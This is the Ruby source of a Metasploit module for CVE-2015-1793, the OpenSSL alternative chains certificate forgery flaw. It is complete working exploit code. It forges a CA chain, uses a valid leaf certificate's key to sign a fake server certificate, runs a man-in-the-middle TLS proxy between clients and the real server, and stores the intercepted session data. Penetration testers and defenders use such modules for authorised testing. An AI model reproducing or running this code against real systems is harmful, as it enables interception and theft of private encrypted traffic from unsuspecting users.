metasploit-framework/modules/auxiliary/server/openssl_altchainsforgery_mi...

229 lines
8.4 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
'Description' => %q{
This module exploits a logic error in OpenSSL by impersonating the server
and sending a specially-crafted chain of certificates, resulting in
certain checks on untrusted certificates to be bypassed on the client,
allowing it to use a valid leaf certificate as a CA certificate to sign a
fake certificate. The SSL/TLS session is then proxied to the server
allowing the session to continue normally and application data transmitted
between the peers to be saved.
The valid leaf certificate must not contain the keyUsage extension or it
must have at least the keyCertSign bit set (see X509_check_issued function
in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
active man-in-the-middle attack.
},
'Author' =>
[
'David Benjamin', # Vulnerability discovery
'Adam Langley', # Vulnerability discovery
'Ramon de C Valle' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' => [
['CVE', '2015-1793'],
['CWE', '754'],
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
],
'DisclosureDate' => 'Jul 9 2015'
)
register_options(
[
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
OptString.new('CERT', [ true, 'The leaf certificate', nil]),
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
OptString.new('HOST', [ true, 'The server address', nil]),
OptString.new('PORT', [ true, 'The server port', 443]),
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
OptString.new('SRVPORT', [ true, 'The proxy port', 443])
], self.class)
end
def cleanup
super
return unless @proxy
begin
@proxy.deref if @proxy.kind_of?(Rex::Service)
if @proxy.kind_of?(Rex::Socket)
@proxy.close
@proxy.stop
end
@proxy = nil
rescue ::Exception
end
end
def run
host = datastore['HOST']
port = datastore['PORT']
local_host = datastore['SRVHOST']
local_port = datastore['SRVPORT']
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))
fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)
context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key
@proxy = Rex::Socket::SslTcpServer.create(
'LocalHost' => local_host,
'LocalPort' => local_port,
'SSLContext' => context,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})
print_status('Listening on %s:%d' % [local_host, local_port])
thread_num = 0
loop do
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
add_socket(client)
application_data = ''
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])
server = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'SSL' => true,
'SSLVerifyMode' => 'NONE',
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})
add_socket(server)
print_status('Connected to %s:%d' % [host, port])
begin
loop do
readable, _, _ = Rex::ThreadSafe.select([client, server])
readable.each do |r|
data = r.get_once
print_status('%d bytes received' % [data.bytesize])
application_data << data
case r
when client
count = server.put(data)
print_status('%d bytes sent' % [count])
when server
count = client.put(data)
print_status('%d bytes sent' % [count])
end
end
end
rescue EOFError, Errno::ECONNRESET
path = store_loot(
'tls.application_data',
'application/octet-stream',
client.peerhost,
application_data,
'application_data',
'TLS session application data'
)
print_good("SSL/TLS session application data successfully stored in #{path}")
client.close
server.close
next
end
client.close
server.close
end
end
end
end